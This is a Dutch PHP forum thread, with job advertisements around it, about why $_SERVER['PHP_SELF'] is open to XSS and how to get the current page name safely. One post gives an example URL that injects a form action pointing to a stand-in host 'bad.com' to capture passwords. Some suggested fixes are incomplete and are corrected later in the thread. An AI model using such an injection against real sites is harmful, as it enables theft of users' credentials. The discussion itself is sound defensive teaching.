onveilige PHP_SELF vervangen.

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Senior Mendix Developer

Troostwijk Groep is op zoek naar een nieuwe ervaren /senior collega voor de functie van Mendix Developer standplaats Amsterdam (Noord Holland) Over de functie Je bent een getalenteerde en ervaren Mendix Developer die zijn horizon wil verbreden. Je wilt minder coderen en meer modelleren. Ook wil je minder bezig zijn met allerlei technische details en randvoorwaarden en meer met functionaliteit. Daarnaast ben je trots op de innovatieve en gebruiksvriendelijke applicaties die je in de loop van de jaren hebt gebouwd. Wil je veel vrijheid en werk je graag in een enthousiast team, maar kun je tegelijkertijd goed met deadlines omgaan,

Bekijk vacature »

Business Support Analyst IT

Dümmen Orange is the world’s largest breeder and propagator of cut flowers, bulbs, tropical plants, pot plants, bedding plants and perennials. For our IT department in De Lier, we are looking for a Business Support Analyst. Job objective Our organization grows and flourishes via organic growth and by acquiring other companies. This results in a fast-changing and, therefore, challenging environment. Dümmen Orange is operating within a digital transformation related to customer facing tools like a web shop and different app’s to be used by our customers. The number of customer actively working with our web shop and associated app’s is

Bekijk vacature »

Developer Powershell

Bedrijfsomschrijving Je komt als Developer Powershell te werken in de omgeving Deventer/Apeldoorn bij een nationaal opererende organisatie. Ze blijven constant in beweging en zijn altijd bezig om de laatste innovaties door te voeren. De organisatie werkt met grote hoeveelheden data, zij richten zich zowel op de B2B als B2C markten en zijn pionier binnen hun gebied van expertise. De applicaties draaiende op het platform verwerken per maand aanvragen voor meer dan 6 miljoen gebruikers en jij mag een rol gaan spelen in de complexe technieken en infrastructuur dat schuilt rondom deze applicaties! Je komt in een team waarbij de helft

Bekijk vacature »

Scala Developer Security

Bedrijfsomschrijving Voor een dynamische en snelgroeiende organisatie in Den Haag zijn wij op zoek naar een back-end developer met interesse in security vraagstukken. Deze organisatie richt zich op het ontwikkelen van een online platform waar persoons- en bedrijfsgevoelige informatie veilig kan worden uitgewisselt en opgeslagen. Binnen de organisatie voegt iedereen vanuit zijn eigen expertise iets toe en staat zelfsturing hoog in het vaandel. Zij werken via het domain driven design principe waarbij zij binnen het betreffende domein met alle disciplines sparren over de inrichting van het platform en het oplossen van problemen. Het platform wordt ontwikkeld in Scala binnen een

Bekijk vacature »

Lead Developer / C#.NET / coördinatie / meewe

Bedrijfsomschrijving Bij dit innovatieve productiebedrijf met 1000+ medewerkers wordt maatwerksoftware gemaakt, van het totale ERP pakket tot applicaties waar externe klanten gebruik van maken. Deze software wordt ontwikkeld met technieken als C#, .NET Core, ASP.NET, JSON en webservices met een front-end van Javascript / Angular. De nadruk ligt op de back-end. Als Lead Developer ben jij degene die het overzicht houdt op het ontwikkelproces van begin tot eind, je bepaalt de architectuur en stuurt het team van zo'n 5 ontwikkelaars aan. Wanneer er vanuit de business verzoeken komen voor nieuwe features of aanpassingen, ben jij degene die prioriteiten bepaalt. Je

Bekijk vacature »

C# .NET Developer

Bedrijfsomschrijving Onze klant bouwt dynamisch en voornamelijk op .NET gebaseerde software voor diverse organisaties die zowel nationaal als internationaal opereren. De vestiging in Apeldoorn vormt onderdeel van een grotere organisatie met meerdere locaties in Nederland. De focus hier is om effectieve software te bouwen om data intensieve processen zo goed en overzichtelijk mogelijk te laten verlopen. Om dit soort processen goed te waarborgen en dat de juiste doelstellingen worden gehaald bieden zij velen oplossingen. Een voorbeeld hiervan is maatwerk mobile apps die gekoppeld worden aan zowel eigen software als die van diverse andere organisaties om de juiste data flows mogelijk

Bekijk vacature »

.NET Developer C#

Bedrijfsomschrijving Als Junior of Medior .NET Developer kom je te werken in de regio van Lelystad bij een organisatie die met toonaangevende klanten uit heel Nederland samen werkt. De producten en diensten van de organisatie bereiken miljoenen Nederlanders. Hierbij komt een grote hoeveelheid informatie kijken en deze moet discreet en veilig verwerkt worden. De processen die hierbij horen worden door het IT team vormgegeven. De organisatie heeft ook een adviserende rol, omdat het de klantprocessen raakt en de markt constant in beweging is. Je komt te werken bij een familiebedrijf met een prettige sfeer en een fijne werkomgeving. De IT

Bekijk vacature »

Senior C# Developer IoT Platform (NL)

Senior C# Developer IoT Platform (NL) Den Haag HBO/WO IT Professional Om alle Unique Loading Devices (ULD's) real-time te kunnen volgen, hebben we een IoT landschap gecreëerd dat ons continu update met de locatie en sensor informatie van de ULD's. Het IoT platform is volledig ontworpen met behulp van AWS serverless componenten en Serverless Architecture staat in het middelpunt van al onze ontwerpen. Enkele van de componenten die we gebruiken zijn AWS IoT services, Amazon Location Services, AWS Lambda enzovoort. Op ons platform vertalen we alle detecties van ULD's, vanuit AWS IoT Core naar relevante informatie over wanneer een ULD

Bekijk vacature »

Front End Developer Medior

Functieomschrijving Neem jij graag de verantwoordelijkheid op je? Zie jij complexiteit als een uitdaging en schrikt een applicatie waarmee dagelijks meer dan 100.000 medewerkers worden gepland je niet af? Dan ben je bij onze opdrachtgever aan het juiste adres! Onze opdrachtgevers Workforce Management software en services dragen bij aan het slimmer plannen van personeel. Zij helpen zelfstandige ondernemers en formules om een balans te vinden tussen loonkosten en productiviteit. Een juiste balans heeft een positieve uitwerking op de winkelbeleving en daardoor ook op de klanttevredenheid. De workforce managementsoftware draait in meer dan 1000 winkels in Nederland, België en Duitsland en

Bekijk vacature »

Senior Software Developer Control Tower (NL)

Senior Software Developer Control Tower (NL) Den Haag HBO/WO IT Professional Als Senior Software Developer Control Tower bij PostNL Pakketten impact maken op de groeiende E-commerce markt met onze logistieke software. Je doet dit door complexe bedrijf kritische logistieke business processen te vertalen naar de ontwikkeling en uitbreiding van onze Cloud IT-platformen en software oplossingen. Wat ga je doen? Supply chain logistiek is de wetenschap en kunst van het controleren en beheren van de stroom van middelen, informatie en goederen van de ene bestemming naar de andere. Een essentiële vereiste voor het bereiken van operational excellence in een supply chain

Bekijk vacature »

Senior Data Engineer

Cargill JOB PURPOSE AND IMPACT 2 year contract with the opportunity to become permanent. The Senior Data Engineer will design, build and operate high performance data centric solutions utilizing the comprehensive big data capabilities for the company’s data platform environment. In this role, you will act as an authority for data access pathways and techniques working with analysts within the functional data analytics team. You will design data structures and pipelines to collect data and design and implement data transformations, combinations or aggregations. The Senior Data Engineer will be part of a global product team (along-side other Data Engineers, Architects,

Bekijk vacature »

Technisch Ontwerper / Applicatie Ontwikkelaar

Technisch Ontwerper / Applicatie Ontwikkelaar Actief Als Technisch Ontwerper / Applicatie Ontwikkelaar kom je te werken voor of bij onze gerenommeerde klanten op projecten of opdrachten van omvang en formaat. Je bent verantwoordelijk voor het omzetten van functionele specificaties naar een technisch ontwerp, het ontwerp van programmaspecificaties voor toepassingen, de realisatie van (gewijzigde) programmaonderdelen en databestanden van toepassingen en de technische systeemtest van applicatietoepassingen. Daarnaast geef je vorm aan webpagina’s en applicaties, stel je gebruikersdocumentatie op en verleen je ondersteuning bij het oplossen van productiefouten. Tevens ben je verantwoordelijk voor het samenstellen en onderhouden van de applicatie c.q. programmadocumentatie. Wie

Bekijk vacature »

Ervaren .NET C# ontwikkelaar, inhouse, complex maa

Ben je als ervaren ontwikkelaar op zoek naar een analytische omgeving? Waar hoogopgeleiden en ervaren collega’s jouw kennis naar een hoger niveau kunnen tillen? Waar je met een leuk team samen aan innovatieve producten werkt? Dan zou de deze organisatie wel eens goed bij je kunnen passen. Voor een organisatie in Delft zoeken we momenteel een ervaren .NET C# ontwikkelaar. De organisatie richt zich op innovatieve en complexe maatwerk systemen met een maatschappelijke raakvlak. Hierbij moet je (afhankelijk van je niveau) mee kunnen denken met functionele en architectonische vraagstukken. De projecten kunnen uiteenlopend zijn en het is maar net wat

Bekijk vacature »

MS Dynamics AX Ontwikkelaar

Voor een klant in Nuth zoeken wij een MS Dynamics AX Ontwikkelaar. Je zult het team versterken met innovatieve oplossingen. Wat bieden wij jou Een marktconform salaris Uitdagende positie in een groeiende organisatie Een dynamische werksfeer en ruimte voor inbreng Meerdere doorgroeimogelijkheden Wie ben jij Als MS Dynamics AX Ontwikkelaar beschik je over de volgende eigenschappen: Je hebt een minimaal afgeronde Bacheloropleiding richting Informatica/ ICT; Je hebt minimaal twee jaar ervaring als ontwikkelaar op het gebied van Microsoft Dynamics; Hoge betrokkenheid met collega’s en (interne) klanten; Je bent proactief, en communicatief vaardig; Je bent leergierig, gemotiveerd en enthousiast. Wat ga

Bekijk vacature »

IT-traineeship junior software ontwikkelaar

Zoek jij een stevige uitdaging en de mogelijkheid om veel nieuwe dingen te leren in een dynamisch vakgebied? Doe mee aan ons IT Professional Program en ontwikkel jezelf tot software engineer! Je begint met een opleidingstraject van ongeveer 4 maanden. Hierin ga je aan de slag met verschillende technieken die je op conceptueel niveau leert te overzien en interpreteren. Onderwerpen die aan bod komen zijn o.a. programmeren (Java/C#/Python), Object Oriëntatie, Databases, Webservices & webtechnologieën, Domain Driven Design en Continuous Integration/Continuous Delivery. Sommige van deze onderdelen sluit je af met een examen en bijbehorende certificering. Het opleidingstraject zelf sluit je af

Bekijk vacature »
Mark L

Mark L

03/07/2010 13:11:56
Quote Anchor link
Ik weet ondertussen al een tijd dat de $_SERVER['PHP_SELF'] variabele niet te vertrouwen is. (aangezien deze XSS kan bevatten)
Nu wil ik dus op een andere manier erachter komen op welke pagina ik nu zit. Ik hoorde dat __FILE__ hierbij de oplossing was, tot ik erachter kwam dat dit niet lekker werkt bij een include (omdat hij dat de file van de include pakt en niet van de relatieve pagina).

Hoe kom ik - op een veilige manier - achter de huidige pagina? (Graag zonder elke pagina te beginnen met $curPage = 'pagina.php';)

Via google kwam ik op topics waar mensen zeiden dat ze $_SERVER['SCRIPT_NAME'] gebruikten, maar is deze dan wel veilig?

Gr,
Mark
 
PHP hulp

PHP hulp

05/03/2021 21:04:10
 
Mark L

Mark L

04/07/2010 14:41:11
Quote Anchor link
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
    Bump(true);
?>
 
Erwin Geen

Erwin Geen

04/07/2010 17:27:30
Quote Anchor link
Kan je niet een variabele of constant maken van die __FILE__?
Maar ik las net dat SCRIPT_NAME wel veilig is. (link)
Gewijzigd op 04/07/2010 17:36:37 door Erwin Geen
 
Jelmer -

Jelmer -

04/07/2010 17:54:33
Quote Anchor link
Weet je waarom $_SERVER['PHP_SELF'] niet veilig is? Als je dat weet, kan je andere variabelen in $_SERVER proberen, zoals bijvoorbeeld SCRIPT_NAME, om te kijken of die diezelfde lekken vertonen.

Hint: PHP_SELF bevat de URL zoals je hem aanroept. Dus wanneer je een quote in je url zet, komt die ook in PHP_SELF. Als je dan bijv. <form action="{$PHP_SELF}"> neer zou zetten, en je roept de pagina aan als test.php?%22+action%3D%22http%3A%2F%2Fwww.bad.com%2Fsavepassword.php dan verwijst het formulier plots naar een andere site.
 
Mark L

Mark L

04/07/2010 18:44:09
Quote Anchor link
PATH_INFO word - als dit aanstaat op de server - meegestuurd in de variabele. Dit is daardoor van buitenaf beïnvloedbaar en XSS gevaren met zich mee.
Her fijne weet ik er eerlijk gezegd niet van, zou ik me inderdaad nog eens in moeten verdiepen.
 
Jannick Bolten

Jannick Bolten

04/07/2010 21:19:23
Quote Anchor link
Wat ik persoonlijk gebruik, is het volgende:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo basename($_SERVER['PHP_SELF']);
?>

Volgens mij pakt ie dan (in het voorbeeld van Jelmer) ook écht het eigen bestandsnaam.

Zie bijv. de volgende link:
Test
Code:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo basename($_SERVER['PHP_SELF']);
?>

Werkt dus best goed, voor zover ik weet.
Gewijzigd op 04/07/2010 21:23:08 door Jannick Bolten
 
Jelmer -

Jelmer -

04/07/2010 21:32:03
 
Jannick Bolten

Jannick Bolten

04/07/2010 21:49:12
Quote Anchor link
Hmm, OK, you've got me. Ik had vroeger een ander stukje, maar die ben ik helaas kwijt. Dan is inderdaad SCRIPT_NAME nog het beste. Maar ja, zoals al bekend is, niets is veilig genoeg.
 
Martijn B

Martijn B

04/07/2010 22:13:10
Quote Anchor link
Volgens mij is dit veilig:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
$_SERVER
['PHP_SELF'] = str_replace(array('<', '>', '"'), array('%3C', '%3E', '&quot;'), $_SERVER['PHP_SELF']);
?>


Ja je kunt quotes in de URL hebben, maar er wordt dan nog geen code uitgevoerd door je browser.

Edit:

De quote heb ik er nu ook bij gezet. Dankzij Jelmer rrrr.
Gewijzigd op 04/07/2010 22:39:42 door Martijn B
 
Jelmer -

Jelmer -

04/07/2010 22:28:22
Quote Anchor link
Quotes in $PHP_SELF, en een form-element waar hij wordt gebruikt is genoeg om code uit te voeren op zich. onmouseover is goed genoeg om Javascript uit te voeren, redelijke kans dat iemand met z'n muis over een form-elementje gaat. Maar htmlspecialchars of htmlentities biedt voldoende beveiliging.
 
Niels K

Niels K

05/07/2010 09:32:40
Quote Anchor link
dit is als het goed is voldoende, zoals jelmer aangeeft

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?php

htmlspecialchars( basename( $_SERVER['PHP_SELF'] ) );

?>
 
P Lekensteyn

P Lekensteyn

05/07/2010 16:55:54
Quote Anchor link
Waarom dan nog basename?
Basename sowieso niet gebruiken zonder vorm van validatie als het van de bezoeker komt.

basename('/een/pad/naar/..') -> ..
dirname('/een/pad/naar/../raar') -> ..
Gebruik dan realpath() of een functie die //, /./ en /../ weghaalt.

dit is prima: htmlentities($_SERVER['PHP_SELF'])

Of je doet gewoon: <form action="denaamvanhetphpbestand.php">
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.